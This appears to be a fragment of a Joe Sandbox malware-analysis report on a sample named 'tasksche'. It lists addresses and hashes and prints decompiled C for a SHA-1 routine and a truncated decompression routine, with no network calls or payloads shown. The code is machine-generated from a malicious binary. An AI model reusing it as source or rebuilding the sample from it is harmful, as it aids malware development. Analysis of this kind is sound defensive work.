0x00401ec6
0x00401ed4
0x00401ee3
0x00401ee8
0x00401eee
0x00401ef4
0x00401ef6
0x00401ef8
0x00401f02
0x00401f02
0x00401f08
0x00401f0b
0x00401f19
0x00401f1c
0x00401f22
0x00401f22
0x00000000
0x00401f0b
0x00401ea3
0x00401e47
0x00401e4e
0x00000000
0x00000000
0x00000000
0x00401e4e
0x00401e3e
0x00401e3e
0x00000000
0x00401e3e
0x00401de4
0x00401de6
0x00000000
0x00401de6
0x00401cf7
0x00401cff
0x00401d02
0x00401d04
0x00401d06
0x00000000
0x00401d14
0x00401d16
0x00401d1a
0x00401d29
0x00401d2c
0x00401d2f
0x00401d61
0x00401d69
0x00401d72
0x00401d77
0x00000000
0x00401d77
0x00000000
0x00401d2f

APIs

__EH_prolog.LIBCMT ref: 00401CC6
_strlen.LIBCMT ref: 00402237
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00402393

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prologUnothrow_t@std@@@__ehfuncinfo$??2@_strlen
String ID:
API String ID: 3741668355-0
Opcode ID: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction ID: 47e58a6222a9c82a3371e9f2a391d10810198bea5a194d1edf5ea2ede1dda2e7
Opcode Fuzzy Hash: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction Fuzzy Hash: 8B6201709006849FCF25DF64C8947EE7BB1AF14304F0844BEE986BB2D6DB795985CB28

Uniqueness

Uniqueness Score: -1.00%

Function 00410178 Relevance: 2.8, Strings: 2, Instructions: 289
COMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E00410178(void* __ecx, void* _a4, signed int _a8, signed int* _a12, signed int _a16) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int* _v16;
				void _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t236;
				signed int _t244;
				signed int _t255;
				signed int _t264;
				signed int _t274;
				void* _t276;
				signed int _t286;
				signed int _t288;
				signed int _t292;
				signed int _t298;
				signed int* _t312;
				void* _t332;
				intOrPtr _t333;
				signed int _t337;
				signed int* _t340;
				signed int* _t341;
				signed int* _t345;
				signed int _t346;
				signed int* _t350;
				void* _t351;
				void* _t356;
				signed int _t389;
				void* _t390;
				signed int* _t392;
				signed int* _t400;
				signed int* _t408;
				signed int* _t412;
				signed int* _t415;
				signed int* _t420;
				void* _t421;
				void* _t422;

				if(_a16 == 0) {
					_t286 = _a12;
				} else {
					_t286 = _a8;
					E0041C290(_t286, _t356, _t390, _t286, _a12, 0x40);
					_t422 = _t422 + 0xc;
				}
				if( *0x44f578 == 0) {
					_t333 = 0;
					_t420 = 0x44ef3c;
					do {
						_t5 = _t333 + 1; // 0x1
						asm("cdq");
						_t389 = 5;
						_t10 = _t333 + 2; // 0x2
						 *((intOrPtr*)(_t420 - 4)) = _t333;
						 *_t420 = _t5 % _t389;
						asm("cdq");
						_t16 = _t333 + 3; // 0x3
						_t420 =  &(_t420[5]);
						 *(_t420 - 0x10) = _t10 % _t389;
						asm("cdq");
						_t22 = _t333 + 4; // 0x4
						 *(_t420 - 0xc) = _t16 % _t389;
						asm("cdq");
						 *(_t420 - 8) = _t22 % _t389;
						if(_t333 == 0) {
							_t333 = 4;
						} else {
							_t333 = _t333 - 1;
						}
					} while (_t420 < 0x44f57c);
					 *0x44f578 = 1;
				}
				_t288 = 5;
				memcpy( &_v36, _a4, _t288 << 2);
				_t236 = 0x44ef44;
				_a16 = _t286;
				do {
					_t392 = _a16;
					asm("ror ecx, 0x8");
					asm("rol edx, 0x8");
					_t292 =  *_t392 & 0xff00ff00 |  *_t392 & 0x00ff00ff;
					 *_t392 = _t292;
					_t337 =  *(_t421 +  *_t236 * 4 - 0x20);
					_a16 = _a16 + 4;
					_a12 = _t421 +  *(_t236 - 8) * 4 - 0x20;
					_v8 = _t421 + _t236[1] * 4 - 0x20;
					_a8 = _t337;
					asm("rol esi, 0x5");
					_t62 =  *((intOrPtr*)(_t421 +  *(_t236 - 0xc) * 4 - 0x20)) + _t292 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *(_t236 - 4) * 4 - 0x20) ^ _t337) &  *_a12 ^ _a8) + _t62;
					asm("ror dword [ecx], 0x2");
					_t236 =  &(_t236[5]);
					_t340 = 0x44f084;
				} while (_t236 < 0x44f084);
				_a16 = 0x10;
				do {
					_t66 = _a16 - 3; // 0xd
					_t295 = _t66;
					_t400 = _t286 + (_a16 & 0x0000000f) * 4;
					_t69 = _t295 - 5; // 0x8
					_t72 = _t295 + 5; // 0x12
					_t244 =  *(_t286 + (_t69 & 0x0000000f) * 4) ^  *(_t286 + (_t72 & 0x0000000f) * 4) ^  *(_t286 + (_t66 & 0x0000000f) * 4) ^  *_t400;
					asm("rol eax, 1");
					 *_t400 = _t244;
					_t298 =  *(_t421 +  *_t340 * 4 - 0x20);
					_a12 = _t421 +  *(_t340 - 8) * 4 - 0x20;
					_v8 = _t421 + _t340[1] * 4 - 0x20;
					_a8 = _t298;
					asm("rol esi, 0x5");
					_t103 =  *((intOrPtr*)(_t421 +  *(_t340 - 0xc) * 4 - 0x20)) + _t244 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *(_t340 - 4) * 4 - 0x20) ^ _t298) &  *_a12 ^ _a8) + _t103;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t340 =  &(_t340[5]);
				} while (_t340 < 0x44f0d4);
				_a16 = 0x14;
				_t341 = 0x44f0d4;
				do {
					_t109 = _a16 - 3; // 0x11
					_t301 = _t109;
					_t408 = _t286 + (_a16 & 0x0000000f) * 4;
					_t112 = _t301 - 5; // 0xc
					_t113 = _t301 + 5; // 0x16
					_t255 =  *(_t286 + (_t112 & 0x0000000f) * 4) ^  *(_t286 + (_t113 & 0x0000000f) * 4) ^  *(_t286 + (_t109 & 0x0000000f) * 4) ^  *_t408;
					asm("rol eax, 1");
					 *_t408 = _t255;
					_a12 = _t421 +  *(_t341 - 8) * 4 - 0x20;
					_v8 = _t421 + _t341[1] * 4 - 0x20;
					asm("rol esi, 0x5");
					 *_v8 =  *_v8 + ( *(_t421 +  *(_t341 - 4) * 4 - 0x20) ^  *(_t421 +  *_t341 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *(_t341 - 0xc) * 4 - 0x20)) + _t255 + 0x6ed9eba1;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t341 =  &(_t341[5]);
				} while (_t341 < 0x44f264);
				_t312 = 0x44f260;
				_a16 = 0x28;
				_a12 = 0x44f260;
				do {
					_t150 = _a16 - 3; // 0x25
					_t342 = _t150;
					_t412 = _t286 + (_a16 & 0x0000000f) * 4;
					_t153 = _t342 - 5; // 0x20
					_t156 = _t342 + 5; // 0x2a
					_t264 =  *(_t286 + (_t153 & 0x0000000f) * 4) ^  *(_t286 + (_t156 & 0x0000000f) * 4) ^  *(_t286 + (_t150 & 0x0000000f) * 4) ^  *_t412;
					asm("rol eax, 1");
					 *_t412 = _t264;
					_t345 = _t421 +  *(_t312 - 4) * 4 - 0x20;
					_v16 = _t345;
					_t346 =  *_t345;
					_v12 = _t421 + _t312[2] * 4 - 0x20;
					_a8 = _t346;
					asm("rol edi, 0x5");
					 *_v12 =  *_v12 + ( *(_t421 + _t312[1] * 4 - 0x20) & (_t346 |  *(_t421 +  *_t312 * 4 - 0x20)) | _a8 &  *(_t421 +  *_t312 * 4 - 0x20)) +  *((intOrPtr*)(_t421 +  *(_t312 - 8) * 4 - 0x20)) + _t264 - 0x70e44324;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t312 =  &(_a12[5]);
					_a12 = _t312;
				} while (_t312 < 0x44f3f0);
				_a16 = 0x3c;
				_t350 = 0x44f3f4;
				do {
					_t194 = _a16 - 3; // 0x39
					_t320 = _t194;
					_t415 = _t286 + (_a16 & 0x0000000f) * 4;
					_t197 = _t320 - 5; // 0x34
					_t198 = _t320 + 5; // 0x3e
					_t274 =  *(_t286 + (_t197 & 0x0000000f) * 4) ^  *(_t286 + (_t198 & 0x0000000f) * 4) ^  *(_t286 + (_t194 & 0x0000000f) * 4) ^  *_t415;
					asm("rol eax, 1");
					 *_t415 = _t274;
					_a12 = _t421 +  *(_t350 - 8) * 4 - 0x20;
					_v16 = _t421 + _t350[1] * 4 - 0x20;
					asm("rol esi, 0x5");
					 *_v16 =  *_v16 + ( *(_t421 +  *(_t350 - 4) * 4 - 0x20) ^  *(_t421 +  *_t350 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *(_t350 - 0xc) * 4 - 0x20)) + _t274 - 0x359d3e2a;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t350 =  &(_t350[5]);
				} while (_t350 < 0x44f584);
				_t276 = _a4;
				_t332 =  &_v36 - _t276;
				_t351 = 5;
				do {
					 *_t276 =  *_t276 +  *((intOrPtr*)(_t332 + _t276));
					_t276 = _t276 + 4;
					_t351 = _t351 - 1;
				} while (_t351 != 0);
				return _t276;
			}

0x00410185
0x0041019a
0x00410187
0x00410187
0x00410190
0x00410195
0x00410195
0x004101a4
0x004101a6
0x004101a8
0x004101ad
0x004101ad
0x004101b0
0x004101b3
0x004101b6
0x004101b9
0x004101bc
0x004101be
0x004101c1
0x004101c4
0x004101c7
0x004101ca
0x004101cd
0x004101d0
0x004101d3
0x004101d6
0x004101db
0x004101e2
0x004101dd
0x004101dd
0x004101dd
0x004101e3
0x004101eb
0x004101eb
0x004101f7
0x004101fb
0x004101fd
0x00410202
0x00410205
0x00410205
0x0041020c
0x00410215
0x0041021e
0x00410220
0x00410227
0x00410232
0x0041023a
0x00410246
0x00410250
0x00410258
0x00410263
0x0041026a
0x0041026f
0x00410272
0x00410275
0x0041027a
0x0041027e
0x00410285
0x00410288
0x00410288
0x0041028e
0x00410291
0x0041029a
0x004102a9
0x004102ab
0x004102ad
0x004102b4
0x004102c3
0x004102cf
0x004102d9
0x004102e1
0x004102ec
0x004102f3
0x004102f8
0x004102fb
0x004102fe
0x00410306
0x0041030e
0x00410315
0x00410317
0x0041031a
0x0041031a
0x00410320
0x00410323
0x00410326
0x0041033b
0x0041033d
0x0041033f
0x0041034a
0x00410354
0x00410369
0x0041037f
0x00410381
0x00410384
0x00410387
0x0041038a
0x00410392
0x00410397
0x0041039e
0x004103a1
0x004103a4
0x004103a4
0x004103aa
0x004103ad
0x004103b6
0x004103c5
0x004103c7
0x004103c9
0x004103d7
0x004103df
0x004103e2
0x004103e4
0x004103f5
0x00410405
0x00410414
0x0041041c
0x0041041f
0x00410422
0x0041042b
0x0041042b
0x00410434
0x0041043b
0x00410440
0x00410443
0x00410443
0x00410449
0x0041044c
0x0041044f
0x00410464
0x00410466
0x00410468
0x00410473
0x0041047d
0x00410492
0x004104a8
0x004104aa
0x004104ad
0x004104b0
0x004104b3
0x004104bb
0x004104c3
0x004104c5
0x004104c6
0x004104c9
0x004104cb
0x004104ce
0x004104ce
0x004104d5

Strings

<D, xrefs: 004101A8
DD, xrefs: 004101FD

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: <D$DD
API String ID: 0-3036587789
Opcode ID: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction ID: 59a02f745f793eb532b4d9e305735a670a6f692f985c4356a20c5044c607aa25
Opcode Fuzzy Hash: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction Fuzzy Hash: E8D15D72A0061ACFCF14CF58D884599B3B1FF8C308B2685ADE919AB245D731BA56CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00417D78 Relevance: 2.6, APIs: 1, Instructions: 1055
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00417D78(void* __ecx, unsigned int _a4, char _a7) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t539;
				signed int _t540;
				unsigned int _t541;
				signed int _t544;
				signed int _t545;
				signed int _t547;
				unsigned int _t551;
				signed int _t553;
				intOrPtr* _t554;
				unsigned int _t556;
				signed int _t559;
				signed int _t560;
				signed int _t561;
				signed int _t562;
				unsigned int _t563;
				signed int _t566;
				signed int _t567;
				signed int _t568;
				signed int _t570;
				unsigned int _t571;
				unsigned int _t580;
				unsigned int _t582;
				signed int _t583;
				unsigned int _t584;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				unsigned int _t590;
				signed int _t592;
				unsigned int _t593;
				unsigned int _t594;
				unsigned int _t595;
				signed int _t597;
				void* _t598;
				signed int _t601;
				signed int _t602;
				unsigned int _t603;
				signed int _t606;
				signed int _t607;
				unsigned int _t611;
				signed int _t613;
				unsigned int _t614;
				unsigned int _t616;
				unsigned int _t618;
				signed int _t619;
				unsigned int _t620;
				signed int _t623;
				signed int _t624;
				unsigned int _t625;
				signed int _t626;
				unsigned int _t627;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				unsigned int _t633;
				unsigned int _t634;
				unsigned int _t635;
				signed int _t636;
				signed int _t637;
				signed int _t638;
				unsigned int _t639;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				void* _t648;
				void* _t649;
				signed int _t651;
				unsigned int _t658;
				unsigned int _t660;
				signed char _t661;
				signed int _t662;
				signed int _t666;
				unsigned int _t667;
				unsigned int _t669;
				signed int _t671;
				intOrPtr _t673;
				signed int _t678;
				signed int _t680;
				signed int _t681;
				signed int _t684;
				signed int _t688;
				signed int _t689;
				unsigned int _t695;
				signed int _t696;
				intOrPtr* _t700;
				intOrPtr* _t702;
				signed int _t704;
				signed int _t706;
				unsigned int _t708;
				void* _t710;
				signed int _t715;
				void* _t723;
				unsigned int _t727;
				unsigned int _t730;
				void* _t732;
				signed int _t734;
				char* _t740;
				unsigned int _t741;
				void* _t743;
				intOrPtr* _t747;
				void* _t748;
				signed int _t751;
				signed int _t753;
				unsigned int _t759;
				unsigned int _t762;
				signed int _t766;
				unsigned int _t768;
				void* _t770;
				signed int _t772;
				signed int _t773;
				void* _t779;
				void* _t781;
				signed int _t787;
				void* _t789;
				intOrPtr* _t791;
				void* _t792;
				signed int _t795;
				void* _t798;
				void* _t803;
				signed int _t806;
				void* _t809;
				void* _t814;
				signed int _t817;
				void* _t825;
				signed int _t826;
				intOrPtr _t829;
				unsigned int _t831;
				unsigned int _t832;
				signed int _t834;
				unsigned int _t841;
				void* _t849;
				void* _t854;
				signed int _t855;
				intOrPtr _t858;
				unsigned int _t859;
				signed int _t860;
				signed int _t862;
				intOrPtr _t865;
				signed int _t877;
				intOrPtr _t880;
				signed int _t888;
				signed int _t890;
				intOrPtr _t893;
				signed int _t901;
				signed int _t902;
				signed int _t921;
				signed int _t923;
				intOrPtr _t926;
				intOrPtr* _t934;
				signed int _t935;
				void* _t936;
				void* _t937;
				void* _t953;

				_t680 = 0;
				_t936 = __ecx;
				if( *0x44f6fc != 0) {
					L6:
					 *((char*)(_t936 + 0x4c58)) = 1;
					if( *((char*)(_t936 + 0x4c48)) != 0) {
						L11:
						_t934 = _t936 + 4;
						while(1) {
							L12:
							 *(_t936 + 0x70) =  *(_t936 + 0x70) &  *(_t936 + 0xe6dc);
							if( *_t934 >  *((intOrPtr*)(_t936 + 0x7c)) && E0041236D(_t683, _t936, _t852) == 0) {
								break;
							}
							_t539 =  *((intOrPtr*)(_t936 + 0x74));
							_t704 =  *(_t936 + 0x70);
							_t852 = _t539 - _t704 &  *(_t936 + 0xe6dc);
							if((_t539 - _t704 &  *(_t936 + 0xe6dc)) >= 0x104 || _t539 == _t704) {
								L20:
								if( *(_t936 + 0xe654) != 1) {
									_t540 = E0040978C(_t934);
									_t681 =  *(_t936 + 0x118);
									_t541 = _t540 & 0x0000fffe;
									__eflags = _t541 -  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4));
									if(_t541 >=  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4))) {
										_t852 = 0xf;
										_t706 = _t681 + 1;
										__eflags = _t706 - _t852;
										if(_t706 >= _t852) {
											L90:
											_t708 =  *(_t934 + 4) + _t852;
											 *(_t934 + 4) = _t708 & 0x00000007;
											_t683 = _t708 >> 3;
											 *_t934 =  *_t934 + (_t708 >> 3);
											_t710 = 0x10;
											_t544 = (_t541 -  *((intOrPtr*)(_t936 + 0x94 + _t852 * 4)) >> _t710 - _t852) +  *((intOrPtr*)(_t936 + 0xd8 + _t852 * 4));
											__eflags = _t544 -  *((intOrPtr*)(_t936 + 0x94));
											if(_t544 >=  *((intOrPtr*)(_t936 + 0x94))) {
												_t544 = 0;
												__eflags = 0;
											}
											_t545 =  *(_t936 + 0xd1c + _t544 * 2) & 0x0000ffff;
											L93:
											__eflags = _t545 - 0x100;
											if(_t545 >= 0x100) {
												__eflags = _t545 - 0x10f;
												if(_t545 < 0x10f) {
													__eflags = _t545 - 0x100;
													if(__eflags != 0) {
														__eflags = _t545 - 0x101;
														if(__eflags != 0) {
															__eflags = _t545 - 0x102;
															if(_t545 != 0x102) {
																__eflags = _t545 - 0x107;
																if(_t545 >= 0x107) {
																	__eflags = _t545 - 0x110;
																	if(_t545 >= 0x110) {
																		continue;
																	}
																	_t547 =  *(_t545 + 0x430081) & 0x000000ff;
																	_t683 = ( *(_t545 + 0x430089) & 0x000000ff) + 1;
																	_a4 = _t547;
																	__eflags = _t547;
																	if(_t547 > 0) {
																		_t556 = E0040978C(_t934);
																		_t723 = 0x10;
																		_t683 = _t683 + (_t556 >> _t723 - _a4);
																		_t559 =  *(_t934 + 4) + _a4;
																		 *_t934 =  *_t934 + (_t559 >> 3);
																		_t560 = _t559 & 0x00000007;
																		__eflags = _t560;
																		 *(_t934 + 4) = _t560;
																	}
																	_t715 =  *(_t936 + 0x70);
																	 *(_t936 + 0x60) =  *(_t936 + 0x5c);
																	 *(_t936 + 0x5c) =  *(_t936 + 0x58);
																	 *(_t936 + 0x58) =  *(_t936 + 0x54);
																	_t551 = 2;
																	 *(_t936 + 0x68) = _t551;
																	_a4 = _t551;
																	_t553 = _t715 - _t683;
																	_t854 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																	 *(_t936 + 0x54) = _t683;
																	__eflags = _t553 - _t854;
																	if(_t553 >= _t854) {
																		L218:
																		_t855 =  *(_t936 + 0xe6dc);
																		do {
																			_t683 =  *(_t936 + 0x70);
																			_a4 = _a4 - 1;
																			 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t855 & _t553) +  *((intOrPtr*)(_t936 + 0x4b34))));
																			_t855 =  *(_t936 + 0xe6dc);
																			_t553 = _t553 + 1;
																			__eflags = _a4;
																			 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t855;
																		} while (_a4 > 0);
																	} else {
																		__eflags = _t715 - _t854;
																		if(_t715 >= _t854) {
																			goto L218;
																		}
																		_t858 =  *((intOrPtr*)(_t936 + 0x4b34));
																		_t554 = _t553 + _t858;
																		_t852 = _t858 + _t715;
																		 *(_t936 + 0x70) = _t715 + 2;
																		 *_t852 =  *_t554;
																		 *(_t852 + 1) =  *((intOrPtr*)(_t554 + 1));
																	}
																	continue;
																}
																_t561 = _t545 + 0xfffffefd;
																_t727 = _t936 + 0x54 + _t561 * 4;
																_t859 =  *_t727;
																_v12 = _t859;
																while(1) {
																	__eflags = _t561;
																	if(_t561 <= 0) {
																		break;
																	}
																	 *_t727 =  *(_t727 - 4);
																	_t561 = _t561 - 1;
																	_t727 = _t727 - 4;
																	__eflags = _t727;
																}
																 *(_t936 + 0x54) = _t859;
																_t562 = E0040978C(_t934);
																_t688 =  *(_t936 + 0x2ddc);
																_t563 = _t562 & 0x0000fffe;
																__eflags = _t563 -  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4));
																if(_t563 >=  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4))) {
																	_t860 = 0xf;
																	_t689 = _t688 + 1;
																	__eflags = _t689 - _t860;
																	if(_t689 >= _t860) {
																		L185:
																		_t730 =  *(_t934 + 4) + _t860;
																		 *(_t934 + 4) = _t730 & 0x00000007;
																		 *_t934 =  *_t934 + (_t730 >> 3);
																		_t732 = 0x10;
																		_t566 = (_t563 -  *((intOrPtr*)(_t936 + 0x2d58 + _t860 * 4)) >> _t732 - _t860) +  *((intOrPtr*)(_t936 + 0x2d9c + _t860 * 4));
																		__eflags = _t566 -  *((intOrPtr*)(_t936 + 0x2d58));
																		if(_t566 >=  *((intOrPtr*)(_t936 + 0x2d58))) {
																			_t566 = 0;
																			__eflags = 0;
																		}
																		_t567 =  *(_t936 + 0x39e0 + _t566 * 2) & 0x0000ffff;
																		L188:
																		_t568 =  *(_t567 + 0x430198) & 0x000000ff;
																		_t683 = ( *(_t567 + 0x4301b4) & 0x000000ff) + 2;
																		_v16 = _t683;
																		_a4 = _t568;
																		__eflags = _t568;
																		if(_t568 > 0) {
																			_t584 = E0040978C(_t934);
																			_t743 = 0x10;
																			_t683 = _t683 + (_t584 >> _t743 - _a4);
																			_t587 =  *(_t934 + 4) + _a4;
																			_v16 = _t683;
																			 *_t934 =  *_t934 + (_t587 >> 3);
																			_t588 = _t587 & 0x00000007;
																			__eflags = _t588;
																			 *(_t934 + 4) = _t588;
																		}
																		_t734 =  *(_t936 + 0x70);
																		_t570 = _t734 - _v12;
																		_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																		 *(_t936 + 0x68) = _t683;
																		_a4 = _t683;
																		__eflags = _t570 - _t852;
																		if(_t570 >= _t852) {
																			L208:
																			__eflags = _t683;
																			if(_t683 <= 0) {
																				continue;
																			}
																			_t862 =  *(_t936 + 0xe6dc);
																			do {
																				_t683 =  *(_t936 + 0x70);
																				_a4 = _a4 - 1;
																				 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t862 & _t570) +  *((intOrPtr*)(_t936 + 0x4b34))));
																				_t862 =  *(_t936 + 0xe6dc);
																				_t570 = _t570 + 1;
																				__eflags = _a4;
																				 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t862;
																			} while (_a4 > 0);
																			continue;
																		} else {
																			__eflags = _t734 - _t852;
																			if(_t734 >= _t852) {
																				goto L208;
																			}
																			_t865 =  *((intOrPtr*)(_t936 + 0x4b34));
																			_t683 = _t865 + _t570;
																			_t571 = _v16;
																			_t852 = _t865 + _t734;
																			_v8 = _t852;
																			 *(_t936 + 0x70) = _t734 + _t571;
																			__eflags = _v12 - _t571;
																			if(_v12 >= _t571) {
																				__eflags = _t571 - 8;
																				if(_t571 < 8) {
																					L200:
																					__eflags = _a4;
																					if(_a4 > 0) {
																						__eflags = _a4 - 1;
																						_t740 = _v8;
																						 *_t740 =  *_t683;
																						if(_a4 > 1) {
																							__eflags = _a4 - 2;
																							 *((char*)(_t740 + 1)) =  *((intOrPtr*)(_t683 + 1));
																							if(_a4 > 2) {
																								__eflags = _a4 - 3;
																								 *((char*)(_t740 + 2)) =  *((intOrPtr*)(_t683 + 2));
																								if(_a4 > 3) {
																									__eflags = _a4 - 4;
																									 *((char*)(_t740 + 3)) =  *((intOrPtr*)(_t683 + 3));
																									if(_a4 > 4) {
																										__eflags = _a4 - 5;
																										 *((char*)(_t740 + 4)) =  *((intOrPtr*)(_t683 + 4));
																										if(_a4 > 5) {
																											__eflags = _a4 - 6;
																											 *((char*)(_t740 + 5)) =  *((intOrPtr*)(_t683 + 5));
																											if(_a4 > 6) {
																												 *((char*)(_t740 + 6)) =  *((intOrPtr*)(_t683 + 6));
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																					continue;
																				}
																				_t580 = _v16 >> 3;
																				__eflags = _t580;
																				_v16 = _t580;
																				do {
																					E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																					_v8 = _v8 + 8;
																					_a4 = _a4 - 8;
																					_t937 = _t937 + 0xc;
																					_t683 = _t683 + 8;
																					_t467 =  &_v16;
																					 *_t467 = _v16 - 1;
																					__eflags =  *_t467;
																				} while ( *_t467 != 0);
																				goto L200;
																			}
																			__eflags = _t571 - 8;
																			if(_t571 < 8) {
																				goto L200;
																			}
																			_t582 = _t571 >> 3;
																			__eflags = _t582;
																			_t741 = _t582;
																			_t583 = _t852;
																			do {
																				_a4 = _a4 - 8;
																				 *_t583 =  *_t683;
																				 *((char*)(_t583 + 1)) =  *((intOrPtr*)(_t683 + 1));
																				 *((char*)(_t583 + 2)) =  *((intOrPtr*)(_t683 + 2));
																				 *((char*)(_t583 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t583 + 4)) =  *((intOrPtr*)(_t683 + 4));
																				 *((char*)(_t583 + 5)) =  *((intOrPtr*)(_t683 + 5));
																				 *((char*)(_t583 + 6)) =  *((intOrPtr*)(_t683 + 6));
																				_t852 =  *((intOrPtr*)(_t683 + 7));
																				 *((char*)(_t583 + 7)) =  *((intOrPtr*)(_t683 + 7));
																				_t683 = _t683 + 8;
																				_t583 = _t583 + 8;
																				_t741 = _t741 - 1;
																				__eflags = _t741;
																			} while (_t741 != 0);
																			_v8 = _t583;
																			goto L200;
																		}
																	}
																	_t747 = _t936 + 0x2d5c + _t689 * 4;
																	while(1) {
																		__eflags = _t563 -  *_t747;
																		if(_t563 <  *_t747) {
																			break;
																		}
																		_t689 = _t689 + 1;
																		_t747 = _t747 + 4;
																		__eflags = _t689 - 0xf;
																		if(_t689 < 0xf) {
																			continue;
																		}
																		goto L185;
																	}
																	_t860 = _t689;
																	goto L185;
																}
																_t748 = 0x10;
																_t589 = _t563 >> _t748 - _t688;
																_t751 = ( *(_t589 + _t936 + 0x2de0) & 0x000000ff) +  *(_t934 + 4);
																 *_t934 =  *_t934 + (_t751 >> 3);
																 *(_t934 + 4) = _t751 & 0x00000007;
																_t567 =  *(_t936 + 0x31e0 + _t589 * 2) & 0x0000ffff;
																goto L188;
															}
															_t590 =  *(_t936 + 0x68);
															__eflags = _t590;
															if(_t590 == 0) {
																continue;
															}
															_t753 =  *(_t936 + 0x70);
															_a4 = _t590;
															_t592 = _t753 -  *(_t936 + 0x54);
															_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
															__eflags = _t592 - _t852;
															if(_t592 >= _t852) {
																L169:
																__eflags = _a4;
																if(_a4 <= 0) {
																	continue;
																}
																_t877 =  *(_t936 + 0xe6dc);
																do {
																	_t683 =  *(_t936 + 0x70);
																	_a4 = _a4 - 1;
																	 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t877 & _t592) +  *((intOrPtr*)(_t936 + 0x4b34))));
																	_t877 =  *(_t936 + 0xe6dc);
																	_t592 = _t592 + 1;
																	__eflags = _a4;
																	 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t877;
																} while (_a4 > 0);
																continue;
															}
															__eflags = _t753 - _t852;
															if(_t753 >= _t852) {
																goto L169;
															}
															_t880 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t880 + _t592;
															_t593 = _a4;
															_t852 = _t880 + _t753;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t753 + _t593;
															__eflags =  *(_t936 + 0x54) - _t593;
															if( *(_t936 + 0x54) >= _t593) {
																__eflags = _t593 - 8;
																if(_t593 < 8) {
																	L146:
																	_t759 = _a4;
																	__eflags = _t759;
																	if(_t759 <= 0) {
																		continue;
																	}
																	_t594 = _v12;
																	L53:
																	_t852 =  *_t683;
																	 *_t594 =  *_t683;
																	__eflags = _t759 - 1;
																	if(_t759 > 1) {
																		_t852 =  *((intOrPtr*)(_t683 + 1));
																		 *((char*)(_t594 + 1)) =  *((intOrPtr*)(_t683 + 1));
																		__eflags = _t759 - 2;
																		if(_t759 > 2) {
																			_t852 =  *((intOrPtr*)(_t683 + 2));
																			 *((char*)(_t594 + 2)) =  *((intOrPtr*)(_t683 + 2));
																			__eflags = _t759 - 3;
																			if(_t759 > 3) {
																				_t852 =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t594 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				__eflags = _t759 - 4;
																				if(_t759 > 4) {
																					_t852 =  *((intOrPtr*)(_t683 + 4));
																					 *((char*)(_t594 + 4)) =  *((intOrPtr*)(_t683 + 4));
																					__eflags = _t759 - 5;
																					if(_t759 > 5) {
																						_t852 =  *((intOrPtr*)(_t683 + 5));
																						 *((char*)(_t594 + 5)) =  *((intOrPtr*)(_t683 + 5));
																						__eflags = _t759 - 6;
																						if(_t759 > 6) {
																							 *((char*)(_t594 + 6)) =  *((intOrPtr*)(_t683 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																	continue;
																}
																_t595 = _t593 >> 3;
																__eflags = _t595;
																_v16 = _t595;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
